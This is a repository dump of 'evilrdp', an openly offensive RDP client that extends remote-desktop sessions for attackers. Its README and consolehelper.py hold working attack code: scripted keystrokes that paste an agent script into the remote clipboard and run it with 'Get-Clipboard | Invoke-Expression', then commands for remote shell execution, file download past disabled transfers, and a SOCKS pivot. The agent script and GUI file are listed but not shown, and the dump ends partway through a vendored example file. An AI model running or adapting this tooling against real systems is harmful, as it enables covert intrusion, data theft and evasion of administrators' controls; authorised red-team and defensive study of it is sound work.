Repository: skelsec/evilrdp
Branch: main
Commit: b4dbbcf422c9
Files: 24
Total size: 82.5 KB
Directory structure:
gitextract_0tnqf5gy/
├── .github/
│ └── workflows/
│ └── python-windows-exe.yml
├── .gitignore
├── MANIFEST.in
├── Makefile
├── README.md
├── builder/
│ └── pyinstaller/
│ └── build.bat
├── evilrdp/
│ ├── __init__.py
│ ├── __main__.py
│ ├── _version.py
│ ├── consolehelper.py
│ ├── external/
│ │ ├── __init__.py
│ │ └── aiocmd/
│ │ ├── LICENSE
│ │ ├── README.md
│ │ ├── __init__.py
│ │ ├── aiocmd/
│ │ │ ├── __init__.py
│ │ │ ├── aiocmd.py
│ │ │ └── nested_completer.py
│ │ └── docs/
│ │ └── example.py
│ ├── gui.py
│ └── vchannels/
│ ├── __init__.py
│ └── pscmd/
│ ├── __init__.py
│ └── serverscript.ps1
├── pyproject.toml
└── setup.py
================================================
FILE CONTENTS
================================================
================================================
FILE: .github/workflows/python-windows-exe.yml
================================================
name: Build Windows Executable - PyInstaller
# Description:
# Most of my projects come with a build.bat script that uses PyInstaller to freeze the examples
# to an executable file. This Action will set up the envrionment and run this build.bat script,
# then upload the resulting executables to a google cloud bucket.
# Additionally the executables will be compressed and encrypted using 7z
on:
push:
branches:
- main # Trigger on push to master branch
jobs:
build:
runs-on: windows-latest # Use a Windows runner
permissions:
contents: 'read'
id-token: 'write'
steps:
- uses: 'actions/checkout@v4'
with:
fetch-depth: 0
- id: 'auth'
uses: 'google-github-actions/auth@v1'
with:
credentials_json: '${{ secrets.GCLOUD_BUCKET_SERVICE_USER_SECRET }}'
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: '3.9'
- name: Install Dependencies
run: |
python -m pip install --upgrade pip
pip install pyinstaller virtualenv
- name: Run Batch File to Build Executable
run: builder\pyinstaller\build.bat
- name: Compress executables
run: |
"C:\Program Files\7-Zip\7z.exe" a secure.7z *.exe -pprotected
working-directory: ${{ github.workspace }}/builder/pyinstaller
shell: cmd
#- name: Upload Executable
# uses: actions/upload-artifact@v2
# with:
# name: executable
# path: builder\pyinstaller\*.exe
- name: 'Set up Cloud SDK'
uses: 'google-github-actions/setup-gcloud@v1'
with:
version: '>= 390.0.0'
- name: Upload Executables to GCS
run: |
$PROJVERSION = python -c "import sys; sys.path.append('${{ github.event.repository.name }}'); import _version; print(_version.__version__)"
Write-Host "Detected Version: $PROJVERSION"
gsutil cp builder\pyinstaller\*.exe gs://skelsec-github-foss/${{ github.event.repository.name }}/$PROJVERSION/
gsutil cp builder\pyinstaller\*.7z gs://skelsec-github-foss/${{ github.event.repository.name }}/$PROJVERSION/
shell: powershell
================================================
FILE: .gitignore
================================================
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/
cover/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
db.sqlite3-journal
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
.pybuilder/
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
# For a library or package, you might want to ignore these files since the code is
# intended to run in multiple environments; otherwise, check them in:
# .python-version
# pipenv
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
# However, in case of collaboration, if having platform-specific dependencies or dependencies
# having no cross-platform support, pipenv may install dependencies that don't work, or not
# install all needed dependencies.
#Pipfile.lock
# poetry
# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
# This is especially recommended for binary packages to ensure reproducibility, and is more
# commonly ignored for libraries.
# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
#poetry.lock
# PEP 582; used by e.g. github.com/David-OConnor/pyflow
__pypackages__/
# Celery stuff
celerybeat-schedule
celerybeat.pid
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
# pytype static type analyzer
.pytype/
# Cython debug symbols
cython_debug/
# PyCharm
# JetBrains specific template is maintainted in a separate JetBrains.gitignore that can
# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
# and can be added to the global gitignore or merged into this file. For a more nuclear
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
#.idea/
*.tsv
*.png
*.whl
*.exe
================================================
FILE: MANIFEST.in
================================================
include evilrdp/vchannels/pscmd/serverscript.ps1
================================================
FILE: Makefile
================================================
clean:
rm -f -r build/
rm -f -r dist/
rm -f -r *.egg-info
find . -name '*.pyc' -exec rm -f {} +
find . -name '*.pyo' -exec rm -f {} +
find . -name '*~' -exec rm -f {} +
publish: clean
python3 setup.py sdist bdist_wheel
python3 -m twine upload dist/*
rebuild: clean
python3 setup.py install
build:
python3 setup.py install
================================================
FILE: README.md
================================================
 [](https://twitter.com/intent/follow?screen_name=skelsec)
## :triangular_flag_on_post: Sponsors
If you like this project, consider sponsoring it on GitHub! [Sponsors](https://github.com/sponsors/skelsec/)
# EVILRDP - More control over RDP
Th evil twin of [`aardwolfgui`](https://github.com/skelsec/aardwolfgui) using the [`aardwolf`](https://github.com/skelsec/aardwolf) RDP client library that gives you extended control over the target and additional scripting capabilities from the command line.
# Features
- Control mouse and keyboard in an automated way from command line
- Control clipboard in an automated way from command line
- Spawn a SOCKS proxy from the client that channels network communication to the target via RDP
- Execute arbitrary SHELL and PowerShell commands on the target without uploading files
- Upload and download files to/from the target even when file transfers are disabled on the target
# Scripts
- `evilrdp` - GUI + command line RDP client
# Usage
After installing this package, a new executable will be available called `evilrdp`.
Upon making a successful connection to the target you'll be presented with a GUI just like a normal RDP client as well as the command line from where you executed `evilrdp` will turn into an interactive shell.
There will be two groups of commands available to you, as follows:
- Commands that can be issues any time. This include commands like:
- mousemove
- rightclick
- doubleclick
- type
- typefile
- return/enter
- invokerun
- clipboardset
- clipboardsetfile
- clipboardget
- powershell
- screenshot
- Commands which only work when the `PSCMD` channel is established
- pscmdchannel - Changes the `PSCMD` channel name from the default. Use this when you changed the channelname in agent script file
- **startpscmd - This tries to automatically start the remote agent which allows further commands to be used**
- pscmd - Executes a powershell command
- getfile - Downloads remote file
- shell - Executes a shell command
- socksproxy - Starts a SOCKS4a/5 proxy
As it is with all things RDP, automatic command execution doesn't always work mostly because of timing issues therefore the `startpscmd` might need to be used 2 times, OR you might need to start the `PSCMD` channel manually.
When `PSCMD` channel starts, you'll get a notification in your client shell.
# URL format
As usual the scripts take the target/scredentials in URL format. Below some examples
- `rdp+kerberos-password://TEST\Administrator:Passw0rd!1@win2016ad.test.corp/?dc=10.10.10.2&proxytype=socks5&proxyhost=127.0.0.1&proxyport=1080`
CredSSP (aka `HYBRID`) auth using Kerberos auth + password via `socks5` to `win2016ad.test.corp`, the domain controller (kerberos service) is at `10.10.10.2`. The socks proxy is on `127.0.0.1:1080`
- `rdp+ntlm-password://TEST\Administrator:Passw0rd!1@10.10.10.103`
CredSSP (aka `HYBRID`) auth using NTLM auth + password connecting to RDP server `10.10.10.103`
- `rdp+ntlm-password://TEST\Administrator:<NThash>@10.10.10.103`
CredSSP (aka `HYBRID`) auth using Pass-the-Hash (NTLM) auth connecting to RDP server `10.10.10.103`
- `rdp+plain://Administrator:Passw0rd!1@10.10.10.103`
Plain authentication (No SSL, encryption is RC4) using password connecting to RDP server `10.10.10.103`
- See `-h` for more
# Kudos
- Balazs Bucsay ([@xoreipeip](https://twitter.com/xoreipeip)) [`SocksOverRDP`](https://github.com/nccgroup/SocksOverRDP). The base idea for covert comms over RDP
================================================
FILE: builder/pyinstaller/build.bat
================================================
@echo off
set projectname=evilrdp
set hiddenimports= --hidden-import aardwolf --hidden-import cryptography --hidden-import cffi --hidden-import cryptography.hazmat.backends.openssl --hidden-import cryptography.hazmat.bindings._openssl --hidden-import unicrypto --hidden-import unicrypto.backends.pycryptodome.DES --hidden-import unicrypto.backends.pycryptodome.TDES --hidden-import unicrypto.backends.pycryptodome.AES --hidden-import unicrypto.backends.pycryptodome.RC4 --hidden-import unicrypto.backends.pure.DES --hidden-import unicrypto.backends.pure.TDES --hidden-import unicrypto.backends.pure.AES --hidden-import unicrypto.backends.pure.RC4 --hidden-import unicrypto.backends.cryptography.DES --hidden-import unicrypto.backends.cryptography.TDES --hidden-import unicrypto.backends.cryptography.AES --hidden-import unicrypto.backends.cryptography.RC4 --hidden-import unicrypto.backends.pycryptodomex.DES --hidden-import unicrypto.backends.pycryptodomex.TDES --hidden-import unicrypto.backends.pycryptodomex.AES --hidden-import unicrypto.backends.pycryptodomex.RC4
set addstatic= --add-data "vchannels/pscmd/serverscript.ps1;."
set root=%~dp0
set pyenv=%root%\env
set repo=%root%..\..\%projectname%
IF NOT DEFINED __BUILDALL_VENV__ (GOTO :CREATEVENV)
GOTO :BUILD
:CREATEVENV
python -m venv %root%\env
CALL %root%\env\Scripts\activate.bat
pip install pyinstaller
GOTO :BUILD
:BUILD
cd %repo%\..\
pip install .
cd %repo%
pyinstaller -F __main__.py %addstatic% %hiddenimports%
cd %repo%\dist & copy __main__.exe %root%\evilrdp.exe
GOTO :CLEANUP
:CLEANUP
set addstatic=
IF NOT DEFINED __BUILDALL_VENV__ (deactivate)
cd %root%
EXIT /B
================================================
FILE: evilrdp/__init__.py
================================================
================================================
FILE: evilrdp/__main__.py
================================================
import sys
from aardwolf import logger
from aardwolf.commons.iosettings import RDPIOSettings
from aardwolf.commons.queuedata.constants import VIDEO_FORMAT
#from aardwolf.extensions.RDPEDYC.vchannels.socksoverrdp import SocksOverRDPChannel
from evilrdp._version import __banner__
from evilrdp.gui import EvilRDPGUI, RDPClientConsoleSettings
#from evilrdp.consolehelper import EVILRDPConsole
from PyQt5.QtWidgets import QApplication, qApp
def main():
import logging
import argparse
parser = argparse.ArgumentParser(description='Async RDP Client. Duckyscript will be executed by pressing ESC 3 times')
parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
parser.add_argument('--no-mouse-hover', action='store_false', help='Disables sending mouse hovering data. (saves bandwith)')
parser.add_argument('--no-keyboard', action='store_false', help='Disables keyboard input. (whatever)')
parser.add_argument('--res', default = '1024x768', help='Resolution in "WIDTHxHEIGHT" format. Default: "1024x768"')
parser.add_argument('--keyboard', default = 'enus', help='Keyboard on the client side. Used for VNC and duckyscript')
parser.add_argument('url', help="RDP connection url")
args = parser.parse_args()
if args.verbose == 1:
logger.setLevel(logging.INFO)
elif args.verbose == 2:
logger.setLevel(logging.DEBUG)
elif args.verbose > 2:
logger.setLevel(1)
width, height = args.res.upper().split('X')
height = int(height)
width = int(width)
iosettings = RDPIOSettings()
iosettings.video_width = width
iosettings.video_height = height
iosettings.video_out_format = VIDEO_FORMAT.PIL
iosettings.client_keyboard = args.keyboard
#from evilrdp.vchannels.pscmd import PSCMDChannel
#iosettings.vchannels['PSCMD'] = PSCMDChannel('PSCMD')
#from aardwolf.extensions.RDPEDYC.vchannels.socksoverrdp import SocksOverRDPChannel
#iosettings.vchannels['PROXY'] = SocksOverRDPChannel(args.sockschannel, args.socksip, args.socksport)
settings = RDPClientConsoleSettings(args.url, iosettings)
settings.mhover = args.no_mouse_hover
settings.keyboard = args.no_keyboard
print(__banner__)
app = QApplication(sys.argv)
qtclient = EvilRDPGUI(settings)
qtclient.show()
app.exec_()
qApp.quit()
if __name__ == '__main__':
main()
================================================
FILE: evilrdp/_version.py
================================================
__version__ = "0.0.2"
__banner__ = \
"""
# evilrdp %s
# Author: Tamas Jos @skelsec (info@skelsecprojects.com)
""" % __version__
================================================
FILE: evilrdp/consolehelper.py
================================================
import os
import sys
import traceback
import datetime
import asyncio
from evilrdp.external.aiocmd.aiocmd import aiocmd
from aardwolf.commons.queuedata.keyboard import RDP_KEYBOARD_SCANCODE, RDP_KEYBOARD_UNICODE
from aardwolf.connection import RDPConnection
from aardwolf.commons.queuedata.constants import MOUSEBUTTON, VIDEO_FORMAT
from aardwolf.keyboard.layoutmanager import KeyboardLayoutManager
from aardwolf.utils.ducky import DuckyExecutorBase, DuckyReaderFile
from aardwolf.commons.target import RDPConnectionDialect
from aardwolf.keyboard import VK_MODIFIERS
from evilrdp.vchannels.pscmd import PSCMDChannel
class EVILRDPConsole(aiocmd.PromptToolkitCmd):
def __init__(self, rdpconn:RDPConnection):
aiocmd.PromptToolkitCmd.__init__(self, ignore_sigint=False) #Setting this to false, since True doesnt work on windows...
self.rdpconn = rdpconn
self.pscmd_channelname = 'PSCMD'
async def do_info(self):
print('HELLO!')
async def do_mousemove(self, x, y):
"""Moves the mouse to the given coordinates"""
await self.rdpconn.send_mouse(MOUSEBUTTON.MOUSEBUTTON_LEFT, int(x), int(y), False)
async def do_rightclick(self, x, y):
"""Emulates a rightclick on the given coordinates"""
for clicked in [True, False]:
await self.rdpconn.send_mouse(MOUSEBUTTON.MOUSEBUTTON_RIGHT, int(x), int(y), clicked)
async def do_doubleclick(self, x, y):
"""Emulates a doubleclick on the given coordinates"""
for clicked in [True, False, True, False]:
await self.rdpconn.send_mouse(MOUSEBUTTON.MOUSEBUTTON_LEFT, int(x), int(y), clicked)
async def do_type(self, string, chardelay = 0):
"""Types the given string on the remote end"""
chardelay = int(chardelay)
for c in string:
await self.rdpconn.send_key_char(c, True)
await asyncio.sleep(chardelay/1000)
await self.rdpconn.send_key_char(c, False)
async def do_return(self):
await self.do_enter()
async def do_enter(self):
"""Hits the Return button on the remote end"""
await self.rdpconn.send_key_scancode(28, True, False)
await self.rdpconn.send_key_scancode(28, False, False)
async def do_invokerun(self):
"""Hits WIN+R"""
await self.rdpconn.send_key_scancode(57435, True, True)
await asyncio.sleep(100/1000)
await self.rdpconn.send_key_scancode(0x13, True, False)
await asyncio.sleep(0.5)
await self.rdpconn.send_key_scancode(0x13, False, False)
await asyncio.sleep(100/1000)
await self.rdpconn.send_key_scancode(57435, False, True)
async def do_clipboardset(self, text):
"""Sets the clipboard text on the remote end"""
await self.rdpconn.set_current_clipboard_text(text)
async def do_clipboardsetfile(self, filepath):
"""Sets the clipboard text on the remote end from a local textfile"""
with open(filepath, 'r') as f:
text = f.read()
await self.do_clipboardset(text)
async def do_clipboardget(self, outfile = None):
"""Gets the clipboard text from the remote end"""
clipdata = await self.rdpconn.get_current_clipboard_text()
if outfile is not None and len(outfile) > 0:
with open(outfile, 'wb') as f:
f.write(clipdata.encode())
else:
print(clipdata)
async def do_typefile(self, fname, chardelay = 1/10000):
"""Types the contents of a text file line-by-line"""
with open(fname, 'r') as f:
for line in f:
line = line.rstrip()
await self.do_type(line+'\n', chardelay=chardelay)
await asyncio.sleep(100/1000)
print('Done!')
async def do_powershell(self):
"""Invokes a powershell prompt on the remote end"""
await self.do_invokerun()
await asyncio.sleep(100/1000)
await self.do_type('powershell')
await asyncio.sleep(100/1000)
await self.do_enter()
async def do_disconnect(self):
"""Exit the RDP session"""
await self.rdpconn.terminate()
async def do_quit(self):
"""Exit the RDP session"""
await self.do_disconnect()
async def do_screenshot(self):
"""Takes a screenshot"""
imgdata = self.rdpconn.get_desktop_buffer(VIDEO_FORMAT.PNG)
fname = 'screenshot_%s.png' % datetime.datetime.utcnow().strftime("%Y_%m_%d_%H%MZ")
with open(fname, 'wb') as f:
f.write(imgdata)
print('Screenshot data saved! %s' % fname)
#async def do_duckyfile(self, dfile):
# try:
# async def ducky_keyboard_sender(scancode, is_pressed, as_char = False):
# ### Callback function for the duckyexecutor to dispatch scancodes/characters to the remote end
# try:
# #print('SCANCODE: %s' % scancode)
# #print('is_pressed: %s' % is_pressed)
# #print('as_char: %s' % as_char)
# if as_char is False:
# ki = RDP_KEYBOARD_SCANCODE()
# ki.keyCode = scancode
# ki.is_pressed = is_pressed
# ki.modifiers = VK_MODIFIERS(0)
# await self.rdpconn.ext_in_queue.put(ki)
# else:
# ki = RDP_KEYBOARD_UNICODE()
# ki.char = scancode
# ki.is_pressed = is_pressed
# await self.rdpconn.ext_in_queue.put(ki)
# except Exception as e:
# traceback.print_exc()
#
# layout = KeyboardLayoutManager().get_layout_by_shortname(self.rdpconn.iosettings.client_keyboard)
# executor = DuckyExecutorBase(layout, ducky_keyboard_sender, send_as_char = True if self.rdpconn.target.dialect == RDPConnectionDialect.VNC else False)
# reader = DuckyReaderFile.from_file(dfile, executor)
# await reader.parse()
#
# except Exception as e:
# traceback.print_exc()
async def do_pscmdchannel(self, channelname = None):
"""Changes the PSCMD channel's name"""
if channelname is None or len(channelname) == 0:
print('Current PSCMD channel name: %s' % self.pscmd_channelname)
return
self.pscmd_channelname = channelname
await self.do_pscmdchannel(self)
async def do_startpscmd(self, channelname = 'PSCMD', scriptfile = 'serverscript.ps1'):
"""Starts a PSCMD channel on the remote end"""
if scriptfile is None:
scriptfile = 'serverscript.ps1'
if channelname not in self.rdpconn.get_vchannels():
await self.rdpconn.add_vchannel(channelname, PSCMDChannel(channelname))
try:
if os.path.exists(scriptfile) is False:
if hasattr(sys, '_MEIPASS') is True:
scriptfile = os.path.join(sys._MEIPASS, scriptfile)
if os.path.exists(scriptfile) is False:
basedir = os.path.dirname(os.path.abspath(__file__))
scriptfile = os.path.join(basedir, 'vchannels', 'pscmd', 'serverscript.ps1')
except:
print('%s could not be found!' % scriptfile)
return
await self.do_powershell()
await asyncio.sleep(0)
await self.do_clipboardsetfile(scriptfile)
await asyncio.sleep(1)
await self.do_type('Get-Clipboard | Invoke-Expression')
await self.do_return()
async def do_pscmd(self, cmd):
"""Executes a powershell command on the remote host. Requires PSCMD"""
try:
if self.pscmd_channelname not in self.rdpconn.iosettings.vchannels:
print('PSCMD channel was either not defined while connecting OR the channel name is not the default.')
print('Set the correct channel name using "pscmdchannel" command')
return
vchannel = self.rdpconn.iosettings.vchannels[self.pscmd_channelname]
if vchannel.channel_active_evt.is_set() is False:
print('Channel is defined, but is not active. Did you execute the client code on the server?')
return
response = await vchannel.sendrcv_pscmd(cmd)
for line in response.split('\n'):
print(line.strip())
except Exception as e:
traceback.print_exc()
async def do_getfile(self, filepath, dstfilepath):
"""Downloads a remote file. Requires PSCMD"""
try:
if self.pscmd_channelname not in self.rdpconn.iosettings.vchannels:
print('PSCMD channel was either not defined while connecting OR the channel name is not the default.')
print('Set the correct channel name using "pscmdchannel" command')
return
vchannel = self.rdpconn.iosettings.vchannels[self.pscmd_channelname]
if vchannel.channel_active_evt.is_set() is False:
print('Channel is defined, but is not active. Did you execute the client code on the server?')
return
print('Downloading file...')
with open(dstfilepath, 'wb') as f:
async for response in vchannel.sendrcv_getfile(filepath):
f.write(response)
print('%s Downloaded to %s' % (filepath, dstfilepath))
except Exception as e:
traceback.print_exc()
async def do_shell(self, cmd):
"""Executes a shell command. Requires PSCMD"""
try:
if self.pscmd_channelname not in self.rdpconn.iosettings.vchannels:
print('PSCMD channel was either not defined while connecting OR the channel name is not the default.')
print('Set the correct channel name using "pscmdchannel" command')
return
vchannel = self.rdpconn.iosettings.vchannels[self.pscmd_channelname]
if vchannel.channel_active_evt.is_set() is False:
print('Channel is defined, but is not active. Did you execute the client code on the server?')
return
async for stderr_or_stout, response in vchannel.sendrcv_shellexec(cmd):
for line in response.split('\n'):
line = line.strip()
print(line)
except Exception as e:
traceback.print_exc()
#async def do_socksoverrdp(self, channelname = '', listen_ip = '127.0.0.1', listen_port = 9998):
#
#from aardwolf.extensions.RDPEDYC.vchannels.socksoverrdp import SocksOverRDPChannel
#iosettings.vchannels['PROXY'] = SocksOverRDPChannel(args.sockschannel, args.socksip, args.socksport)
# iosettings.vchannels[args.sockschannel] = SocksOverRDPChannel(args.sockschannel, args.socksip, args.socksport)
async def do_socksproxy(self, listen_ip = '127.0.0.1', listen_port = 9999):
"""Creates a socks proxy. Requires PSCMD"""
try:
if self.pscmd_channelname not in self.rdpconn.iosettings.vchannels:
print('PSCMD channel was either not defined while connecting OR the channel name is not the default.')
print('Set the correct channel name using "pscmdchannel" command')
return
vchannel = self.rdpconn.iosettings.vchannels[self.pscmd_channelname]
if vchannel.channel_active_evt.is_set() is False:
print('Channel is defined, but is not active. Did you execute the client code on the server?')
return
if listen_ip is None or len(listen_ip) == 0:
listen_ip = '127.0.0.1'
if listen_port is None:
listen_port = 9999
_, err = await vchannel.socksproxy(listen_ip, int(listen_port))
if err is not None:
print('Failed to start proxy server! Reason: %s' % err)
return
except Exception as e:
traceback.print_exc()
================================================
FILE: evilrdp/external/__init__.py
================================================
================================================
FILE: evilrdp/external/aiocmd/LICENSE
================================================
MIT License
Copyright (c) 2019 Dor Green
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: evilrdp/external/aiocmd/README.md
================================================
# aiocmd
Coroutine-based CLI generator using prompt_toolkit, similarly to the built-in cmd module.
## How to install?
Simply use `pip3 install aiocmd`
## How to use?
To use, inherit from the `PromptToolkitCmd` class and implement the `do_<action>` for each command.
Each command can receive arguments and optional (keyword) arguments. You then must run the `run()` coroutine to start the CLI.
For instance:
```python
import asyncio
from aiocmd import aiocmd
class MyCLI(aiocmd.PromptToolkitCmd):
def do_my_action(self):
"""This will appear in help text"""
print("You ran my action!")
def do_add(self, x, y):
print(int(x) + int(y))
async def do_sleep(self, sleep_time=1):
await asyncio.sleep(int(sleep_time))
if __name__ == "__main__":
asyncio.get_event_loop().run_until_complete(MyCLI().run())
```
Will create this CLI:

## Extra features
You can implement a custom completion for each command by implementing `_<action>_completions`.
For example, to complete a single-digit number for the `add` action:
```python
class MyCLI(aiocmd.PromptToolkitCmd):
def _add_completions(self):
return WordCompleter([str(i) for i in range(9)])
```

You can also set a custom `prompt` and `aliases` parameters for the class (example in docs).
================================================
FILE: evilrdp/external/aiocmd/__init__.py
================================================
================================================
FILE: evilrdp/external/aiocmd/aiocmd/__init__.py
================================================
================================================
FILE: evilrdp/external/aiocmd/aiocmd/aiocmd.py
================================================
import asyncio
import inspect
import shlex
import signal
import sys
import traceback
from prompt_toolkit import PromptSession
from prompt_toolkit.completion import WordCompleter
from prompt_toolkit.key_binding import KeyBindings
from prompt_toolkit.patch_stdout import patch_stdout
try:
from prompt_toolkit.completion.nested import NestedCompleter
except ImportError:
from aiocmd.nested_completer import NestedCompleter
class ExitPromptException(Exception):
pass
class PromptToolkitCmd:
"""Baseclass for custom CLIs
Works similarly to the built-in Cmd class. You can inherit from this class and implement:
- do_<action> - This will add the "<action>" command to the cli.
The method may receive arguments (required) and keyword arguments (optional).
- _<action>_completions - Returns a custom Completer class to use as a completer for this action.
Additionally, the user cant change the "prompt" variable to change how the prompt looks, and add
command aliases to the 'aliases' dict.
"""
ATTR_START = "do_"
prompt = "$ "
doc_header = "Documented commands:"
aliases = {"?": "help", "exit": "quit"}
def __init__(self, ignore_sigint=True):
self.completer = self._make_completer()
self.session = None
self._ignore_sigint = ignore_sigint
self._currently_running_task = None
async def run(self):
if self._ignore_sigint and sys.platform != "win32":
asyncio.get_event_loop().add_signal_handler(signal.SIGINT, self._sigint_handler)
self.session = PromptSession(enable_history_search=True, key_bindings=self._get_bindings())
try:
with patch_stdout():
await self._run_prompt_forever()
finally:
if self._ignore_sigint and sys.platform != "win32":
asyncio.get_event_loop().remove_signal_handler(signal.SIGINT)
await self._on_close()
async def _run_prompt_forever(self):
while True:
try:
result = await self.session.prompt_async(self.prompt, completer=self.completer)
except EOFError:
return
if not result:
continue
args = shlex.split(result)
if args[0] in self.command_list:
try:
self._currently_running_task = asyncio.ensure_future(
self._run_single_command(args[0], args[1:]))
await self._currently_running_task
except asyncio.CancelledError:
print()
continue
except ExitPromptException:
return
else:
print("Command %s not found!" % args[0])
def _sigint_handler(self):
if self._currently_running_task:
self._currently_running_task.cancel()
def _get_bindings(self):
bindings = KeyBindings()
bindings.add("c-c")(lambda event: self._interrupt_handler(event))
return bindings
async def _run_single_command(self, command, args):
command_real_args, command_real_kwargs = self._get_command_args(command)
if len(args) < len(command_real_args) or len(args) > (len(command_real_args)
+ len(command_real_kwargs)):
print("Bad command args. Usage: %s" % self._get_command_usage(command, command_real_args,
command_real_kwargs))
return
try:
com_func = self._get_command(command)
if asyncio.iscoroutinefunction(com_func):
await com_func(*args)
else:
com_func(*args)
return
except (ExitPromptException, asyncio.CancelledError):
raise
except Exception as ex:
traceback.print_exc()
print("Command failed: ", ex)
def _interrupt_handler(self, event):
event.cli.current_buffer.text = ""
def _make_completer(self):
return NestedCompleter({com: self._completer_for_command(com) for com in self.command_list})
def _completer_for_command(self, command):
if not hasattr(self, "_%s_completions" % command):
return WordCompleter([])
return getattr(self, "_%s_completions" % command)()
def _get_command(self, command):
if command in self.aliases:
command = self.aliases[command]
return getattr(self, self.ATTR_START + command)
def _get_command_args(self, command):
args = [param for param in inspect.signature(self._get_command(command)).parameters.values()
if param.default == param.empty]
kwargs = [param for param in inspect.signature(self._get_command(command)).parameters.values()
if param.default != param.empty]
return args, kwargs
def _get_command_usage(self, command, args, kwargs):
return ("%s %s %s" % (command,
" ".join("<%s>" % arg for arg in args),
" ".join("[%s]" % kwarg for kwarg in kwargs),
)).strip()
@property
def command_list(self):
return [attr[len(self.ATTR_START):]
for attr in dir(self) if attr.startswith(self.ATTR_START)] + list(self.aliases.keys())
def do_help(self):
print()
print(self.doc_header)
print("=" * len(self.doc_header))
print()
get_usage = lambda command: self._get_command_usage(command, *self._get_command_args(command))
max_usage_len = max([len(get_usage(command)) for command in self.command_list])
for command in sorted(self.command_list):
command_doc = self._get_command(command).__doc__
print(("%-" + str(max_usage_len + 2) + "s%s") % (get_usage(command), command_doc or ""))
def do_quit(self):
"""Exit the prompt"""
raise ExitPromptException()
async def _on_close(self):
"""Optional hook to call on closing the cmd"""
pass
================================================
FILE: evilrdp/external/aiocmd/aiocmd/nested_completer.py
================================================
"""
Nestedcompleter for completion of hierarchical data structures.
"""
from typing import Dict, Iterable, Mapping, Optional, Set, Union
from prompt_toolkit.completion import CompleteEvent, Completer, Completion
from prompt_toolkit.completion.word_completer import WordCompleter
from prompt_toolkit.document import Document
__all__ = [
'NestedCompleter'
]
NestedDict = Mapping[str, Union['NestedDict', Set[str], None, Completer]]
class NestedCompleter(Completer):
"""
Completer which wraps around several other completers, and calls any the
one that corresponds with the first word of the input.
By combining multiple `NestedCompleter` instances, we can achieve multiple
hierarchical levels of autocompletion. This is useful when `WordCompleter`
is not sufficient.
If you need multiple levels, check out the `from_nested_dict` classmethod.
"""
def __init__(self, options: Dict[str, Optional[Completer]],
ignore_case: bool = True) -> None:
self.options = options
self.ignore_case = ignore_case
def __repr__(self) -> str:
return 'NestedCompleter(%r, ignore_case=%r)' % (self.options, self.ignore_case)
@classmethod
def from_nested_dict(cls, data: NestedDict) -> 'NestedCompleter':
"""
Create a `NestedCompleter`, starting from a nested dictionary data
structure, like this:
.. code::
data = {
'show': {
'version': None,
'interfaces': None,
'clock': None,
'ip': {'interface': {'brief'}}
},
'exit': None
'enable': None
}
The value should be `None` if there is no further completion at some
point. If all values in the dictionary are None, it is also possible to
use a set instead.
Values in this data structure can be a completers as well.
"""
options = {}
for key, value in data.items():
if isinstance(value, Completer):
options[key] = value
elif isinstance(value, dict):
options[key] = cls.from_nested_dict(value)
elif isinstance(value, set):
options[key] = cls.from_nested_dict({item: None for item in value})
else:
assert value is None
options[key] = None
return cls(options)
def get_completions(self, document: Document,
complete_event: CompleteEvent) -> Iterable[Completion]:
# Split document.
text = document.text_before_cursor.lstrip()
# If there is a space, check for the first term, and use a
# subcompleter.
if ' ' in text:
first_term = text.split()[0]
completer = self.options.get(first_term)
# If we have a sub completer, use this for the completions.
if completer is not None:
remaining_text = document.text[len(first_term):].lstrip()
move_cursor = len(document.text) - len(remaining_text)
new_document = Document(
remaining_text,
cursor_position=document.cursor_position - move_cursor)
for c in completer.get_completions(new_document, complete_event):
yield c
# No space in the input: behave exactly like `WordCompleter`.
else:
completer = WordCompleter(list(self.options.keys()), ignore_case=self.ignore_case)
for c in completer.get_completions(document, complete_event):
yield c
================================================
FILE: evilrdp/external/aiocmd/docs/example.py
================================================
import asyncio
from prompt_toolkit.completion import WordCompleter
from aiocmd import aiocmd
class MyCLI(aiocmd.PromptToolkitCmd):
def __init__(self, my_name="My CLI"):
super().__init__()
